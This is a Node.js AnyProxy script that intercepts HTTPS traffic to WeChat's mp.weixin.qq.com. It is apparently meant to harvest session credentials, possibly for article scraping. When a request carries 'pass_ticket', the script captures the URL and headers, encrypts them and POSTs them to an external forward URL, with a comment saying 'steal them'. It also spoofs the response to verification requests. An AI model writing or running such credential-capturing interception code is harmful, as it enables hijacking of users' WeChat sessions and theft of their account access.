const abort = (err) => {
  console.error(err)
  process.exit(1)
}
if (!process.env.PROXY_FORWARD_URL) abort('Please define forward URL in env PROXY_FORWARD_URL.')
if (!process.env.PROXY_FORWARD_KEY) abort('Please define cipher key in env PROXY_FORWARD_KEY.')
const key = Buffer.from(process.env.PROXY_FORWARD_KEY, 'base64')
if (!key || key.length !== 32) abort('The cipher key shall be 32-byte base64 encoded string.')
if (!process.env.PROXY_MOBILE_ID) abort('Please define mobile ID in env MOBILE_ID.')
const _id = process.env.PROXY_MOBILE_ID

const port = process.env.PROXY_PORT || '11451'

const AnyProxy = require('anyproxy')
const http = require('https')
const crypto = require('crypto')

const MP_HOST = 'mp.weixin.qq.com'

const authTagLength = 16

/**
 * 
 * @param {string} url 
 * @param {http.RequestOptions['headers']} headers 
 */
const postData = (url, headers) => {
  const nonce = crypto.randomBytes(12)
  const aad = crypto.randomBytes(16)
  const cipher = crypto.createCipheriv('chacha20-poly1305', key, nonce, { authTagLength })
  cipher.setAAD(aad)
  const encrypted = Buffer.concat([
    cipher.update(JSON.stringify({ _id, url, headers })),
    cipher.final()
  ]).toString('base64')
  const tag = cipher.getAuthTag().toString('base64')
  const body = { nonce: nonce.toString('base64'), encrypted, tag, aad: aad.toString('base64') }
  // console.log(body)
  const req = http.request(process.env.PROXY_FORWARD_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' } }, res => {
    let data = ''
    res.on('error', console.error)
    res.on('data', chunk => { data += chunk.toString() })
    res.on('end', () => console.log(res.statusCode, data))
  })
  req.on('error', console.error)
  req.write(JSON.stringify(body))
  req.end()
}

/**
 * @type {AnyProxy.RuleModule}
 */
const rule = {
  summary: 'WeChat Credential',
  *beforeSendRequest({ url, requestOptions }) {
    if (requestOptions.hostname.toLowerCase() === MP_HOST) {
      if (url.includes('pass_ticket')) {
        // we like this, steal them
        postData(url, requestOptions.headers)
        if (requestOptions.path.includes('getverifyinfo')) {
          // just skip request
          return {
            response: {
              statusCode: 200,
              header: { 'Content-Type': 'text/html' },
              body: '<h1 style="color: green">NTR</h1>',
            }
          }
        }
      }
    }
    return null
  },
  *beforeDealHttpsRequest({ host }) {
    return host.includes(MP_HOST)
  }
}
const proxy = new AnyProxy.ProxyServer({
  port,
  rule
})

proxy.on('ready', () => {
  const fs = require('fs')
  const filename = 'proxy.lock'
  setInterval(() => {
    const time = new Date();
    try {
        fs.utimesSync(filename, time, time);
    } catch (e) {
        let fd = fs.openSync(filename, 'a');
        fs.closeSync(fd);
    }
  }, 1000)
})
proxy.on('error', console.error);
proxy.start();